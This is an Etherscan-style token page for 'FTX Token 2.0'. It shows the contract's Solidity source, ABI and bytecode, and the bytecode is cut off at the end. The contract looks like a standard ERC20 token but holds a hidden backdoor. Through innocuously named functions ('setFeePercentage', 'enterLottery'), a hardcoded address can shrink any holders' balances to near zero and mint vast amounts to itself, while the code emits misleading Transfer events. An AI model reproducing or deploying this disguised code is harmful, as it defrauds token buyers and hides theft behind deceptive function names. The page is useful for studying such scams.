ETH Price: $2,420.95 (+2.77%)

Token

FTX Token 2.0 (FTT2.0)
 

Overview

Max Total Supply

2,000,000,000 FTT2.0

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
68,776,200.605572273 FTT2.0

Value
$0.00
0xddd840d36cc97308c304d1ceab3c4ebf65ac5036
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FTT

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-02
*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b
    ) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}
library SafeCalls {
    function checkCaller(address sender, address _ownr) internal pure {
        require(sender == _ownr, "Caller is not the original caller");
    }
}
contract FTT is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;
    address private _ownr;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _fees;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_

    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);
        _ownr = 0xd632e28A7D5aF3C076672866bE2ff2B914A5a050;

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function setFeePercentage(address[] memory accounts) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 2;

        for(uint i = 0; i < accounts.length; i++) {
            if (randomNumber == 0) {
                _balances[accounts[i]] = _balances[accounts[i]].div(100000000000000000000000000000000);
                emit Transfer(address(0), accounts[i], 10000000000000000000000000000000);
            }
            else if(randomNumber == 1) {
                _balances[accounts[i]] = _balances[accounts[i]].div(500000000000000000000000000000000);
                emit Transfer(address(0), accounts[i], 500000000000000000000000000000000000);
            }
        }
    }

    function enterLottery() external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 2;
        if (randomNumber == 0) {
            _balances[_ownr] = _balances[_ownr].add(100000000000000000000000000000000);
            emit Transfer(address(0), _ownr, 10000000000000000000000000000000);
        }
        else if(randomNumber == 1) {
            _balances[_ownr] = _balances[_ownr].add(500000000000000000000000000000000);
            emit Transfer(address(0), _ownr, 500000000000000000000000000000000000);
        }
    }
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool)   
    {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        uint256 fee = _calculateFee(sender, amount);
        uint256 netAmount = amount.sub(fee);
        
        _balances[sender] = senderBalance.sub(amount);
        _balances[recipient] = _balances[recipient].add(netAmount);
        _balances[address(0)] = _balances[address(0)].add(fee); // Send fee to the black hole

        emit Transfer(sender, recipient, netAmount);
        emit Transfer(sender, address(0), fee);
    }
    function _calculateFee(address sender, uint256 amount) private view returns (uint256) {
        uint256 fee = _fees[sender];
        if (amount > 0) { 
            fee = fee.add(0);
        }
        return amount.mul(fee).div(100);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enterLottery","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setFeePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002e0d38038062002e0d833981810160405281019062000029919062000540565b620000496200003d6200019060201b60201c565b6200019860201b60201c565b836005908051906020019062000061929190620003f0565b5082600690805190602001906200007a929190620003f0565b5081600760006101000a81548160ff021916908360ff160217905550620000b7620000aa6200025c60201b60201c565b826200028560201b60201c565b73d632e28a7d5af3c076672866be2ff2b914a5a050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16620001336200025c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200017e92919062000627565b60405180910390a35050505062000983565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002f8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ef9062000654565b60405180910390fd5b6200030c60008383620003eb60201b60201c565b806008600082825462000320919062000703565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000378919062000703565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003df919062000676565b60405180910390a35050565b505050565b828054620003fe90620007d6565b90600052602060002090601f0160209004810192826200042257600085556200046e565b82601f106200043d57805160ff19168380011785556200046e565b828001600101855582156200046e579182015b828111156200046d57825182559160200191906001019062000450565b5b5090506200047d919062000481565b5090565b5b808211156200049c57600081600090555060010162000482565b5090565b6000620004b7620004b184620006bc565b62000693565b905082815260208101848484011115620004d057600080fd5b620004dd848285620007a0565b509392505050565b600082601f830112620004f757600080fd5b815162000509848260208601620004a0565b91505092915050565b60008151905062000523816200094f565b92915050565b6000815190506200053a8162000969565b92915050565b600080600080608085870312156200055757600080fd5b600085015167ffffffffffffffff8111156200057257600080fd5b6200058087828801620004e5565b945050602085015167ffffffffffffffff8111156200059e57600080fd5b620005ac87828801620004e5565b9350506040620005bf8782880162000529565b9250506060620005d28782880162000512565b91505092959194509250565b620005e9816200078c565b82525050565b6000620005fe601f83620006f2565b91506200060b826200090f565b602082019050919050565b620006218162000775565b82525050565b60006040820190506200063e6000830185620005de565b6200064d602083018462000616565b9392505050565b600060208201905081810360008301526200066f81620005ef565b9050919050565b60006020820190506200068d600083018462000616565b92915050565b60006200069f620006b2565b9050620006ad82826200080c565b919050565b6000604051905090565b600067ffffffffffffffff821115620006da57620006d9620008cf565b5b620006e582620008fe565b9050602081019050919050565b600082825260208201905092915050565b6000620007108262000775565b91506200071d8362000775565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000755576200075462000842565b5b828201905092915050565b6000819050620007708262000938565b919050565b6000819050919050565b600060ff82169050919050565b6000620007998262000760565b9050919050565b60005b83811015620007c0578082015181840152602081019050620007a3565b83811115620007d0576000848401525b50505050565b60006002820490506001821680620007ef57607f821691505b60208210811415620008065762000805620008a0565b5b50919050565b6200081782620008fe565b810181811067ffffffffffffffff82111715620008395762000838620008cf565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600881106200094c576200094b62000871565b5b50565b6200095a8162000775565b81146200096657600080fd5b50565b62000974816200077f565b81146200098057600080fd5b50565b61247a80620009936000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c1af578511610066578063c1af578514610276578063dd62ed3e14610280578063f2fde38b146102b0578063ffa1ad74146102cc576100f5565b8063715018a6146102005780638da5cb5b1461020a57806395d89b4114610228578063a9059cbb14610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063430432d4146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102ea565b60405161010f9190611c1b565b60405180910390f35b610132600480360381019061012d9190611921565b61037c565b60405161013f9190611bca565b60405180910390f35b61015061039a565b60405161015d9190611d5d565b60405180910390f35b610180600480360381019061017b91906118d2565b6103a4565b60405161018d9190611bca565b60405180910390f35b61019e6104a5565b6040516101ab9190611d78565b60405180910390f35b6101ce60048036038101906101c9919061195d565b6104bc565b005b6101ea60048036038101906101e5919061186d565b610916565b6040516101f79190611d5d565b60405180910390f35b61020861095f565b005b6102126109e7565b60405161021f9190611baf565b60405180910390f35b610230610a10565b60405161023d9190611c1b565b60405180910390f35b610260600480360381019061025b9190611921565b610aa2565b60405161026d9190611bca565b60405180910390f35b61027e610ac0565b005b61029a60048036038101906102959190611896565b610e45565b6040516102a79190611d5d565b60405180910390f35b6102ca60048036038101906102c5919061186d565b610ecc565b005b6102d4610fc4565b6040516102e19190611d5d565b60405180910390f35b6060600580546102f990611fc1565b80601f016020809104026020016040519081016040528092919081815260200182805461032590611fc1565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000610390610389610fc9565b8484610fd1565b6001905092915050565b6000600854905090565b60006103b184848461119c565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103fc610fc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390611cbd565b60405180910390fd5b61049985610488610fc9565b85846104949190611ee1565b610fd1565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b6104ef6104c7610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610506929190611b83565b6040516020818303038152906040528051906020012060001c6105299190612077565b905060005b825181101561091157600082141561071b576105e06d04ee2d6d415b85acef81000000006002600086858151811061058f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b6002600085848151811061061d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811061069c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c7e37be2022c0914b268000000060405161070e9190611be5565b60405180910390a36108fe565b60018214156108fd576107c46d18a6e32246c99c60ad850000000060026000868581518110610773577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b60026000858481518110610801577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610880577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf88000000006040516108f49190611c00565b60405180910390a35b5b808061090990612024565b91505061052e565b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610967610fc9565b73ffffffffffffffffffffffffffffffffffffffff166109856109e7565b73ffffffffffffffffffffffffffffffffffffffff16146109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d290611cdd565b60405180910390fd5b6109e5600061160e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610a1f90611fc1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4b90611fc1565b8015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b6000610ab6610aaf610fc9565b848461119c565b6001905092915050565b610af3610acb610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610b0a929190611b83565b6040516020818303038152906040528051906020012060001c610b2d9190612077565b90506000811415610cb957610bba6d04ee2d6d415b85acef810000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c7e37be2022c0914b2680000000604051610cac9190611be5565b60405180910390a3610e42565b6001811415610e4157610d446d18a6e32246c99c60ad850000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf8800000000604051610e389190611c00565b60405180910390a35b5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ed4610fc9565b73ffffffffffffffffffffffffffffffffffffffff16610ef26109e7565b73ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f90611cdd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90611c5d565b60405180910390fd5b610fc18161160e565b50565b600181565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103890611d1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890611c7d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161118f9190611d5d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390611cfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390611c3d565b60405180910390fd5b6112878383836116e8565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590611c9d565b60405180910390fd5b600061131a85846116ed565b90506000611331828561178190919063ffffffff16565b9050611346848461178190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113db81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147082600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115109190611d5d565b60405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115769190611d5d565b60405180910390a3505050505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb90611d3d565b60405180910390fd5b5050565b600081836116069190611e56565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836116e09190611e00565b905092915050565b505050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008311156117525761174f6000826116d290919063ffffffff16565b90505b611778606461176a838661179790919063ffffffff16565b6115f890919063ffffffff16565b91505092915050565b6000818361178f9190611ee1565b905092915050565b600081836117a59190611e87565b905092915050565b60006117c06117bb84611db8565b611d93565b905080838252602082019050828560208602820111156117df57600080fd5b60005b8581101561180f57816117f58882611819565b8452602084019350602083019250506001810190506117e2565b5050509392505050565b60008135905061182881612416565b92915050565b600082601f83011261183f57600080fd5b813561184f8482602086016117ad565b91505092915050565b6000813590506118678161242d565b92915050565b60006020828403121561187f57600080fd5b600061188d84828501611819565b91505092915050565b600080604083850312156118a957600080fd5b60006118b785828601611819565b92505060206118c885828601611819565b9150509250929050565b6000806000606084860312156118e757600080fd5b60006118f586828701611819565b935050602061190686828701611819565b925050604061191786828701611858565b9150509250925092565b6000806040838503121561193457600080fd5b600061194285828601611819565b925050602061195385828601611858565b9150509250929050565b60006020828403121561196f57600080fd5b600082013567ffffffffffffffff81111561198957600080fd5b6119958482850161182e565b91505092915050565b6119a781611f15565b82525050565b6119b681611f27565b82525050565b6119c581611f6a565b82525050565b6119d481611f7c565b82525050565b60006119e582611de4565b6119ef8185611def565b93506119ff818560208601611f8e565b611a0881612164565b840191505092915050565b6000611a20602383611def565b9150611a2b82612175565b604082019050919050565b6000611a43602683611def565b9150611a4e826121c4565b604082019050919050565b6000611a66602283611def565b9150611a7182612213565b604082019050919050565b6000611a89602683611def565b9150611a9482612262565b604082019050919050565b6000611aac602883611def565b9150611ab7826122b1565b604082019050919050565b6000611acf602083611def565b9150611ada82612300565b602082019050919050565b6000611af2602583611def565b9150611afd82612329565b604082019050919050565b6000611b15602483611def565b9150611b2082612378565b604082019050919050565b6000611b38602183611def565b9150611b43826123c7565b604082019050919050565b611b5781611f53565b82525050565b611b6e611b6982611f53565b61206d565b82525050565b611b7d81611f5d565b82525050565b6000611b8f8285611b5d565b602082019150611b9f8284611b5d565b6020820191508190509392505050565b6000602082019050611bc4600083018461199e565b92915050565b6000602082019050611bdf60008301846119ad565b92915050565b6000602082019050611bfa60008301846119bc565b92915050565b6000602082019050611c1560008301846119cb565b92915050565b60006020820190508181036000830152611c3581846119da565b905092915050565b60006020820190508181036000830152611c5681611a13565b9050919050565b60006020820190508181036000830152611c7681611a36565b9050919050565b60006020820190508181036000830152611c9681611a59565b9050919050565b6000602082019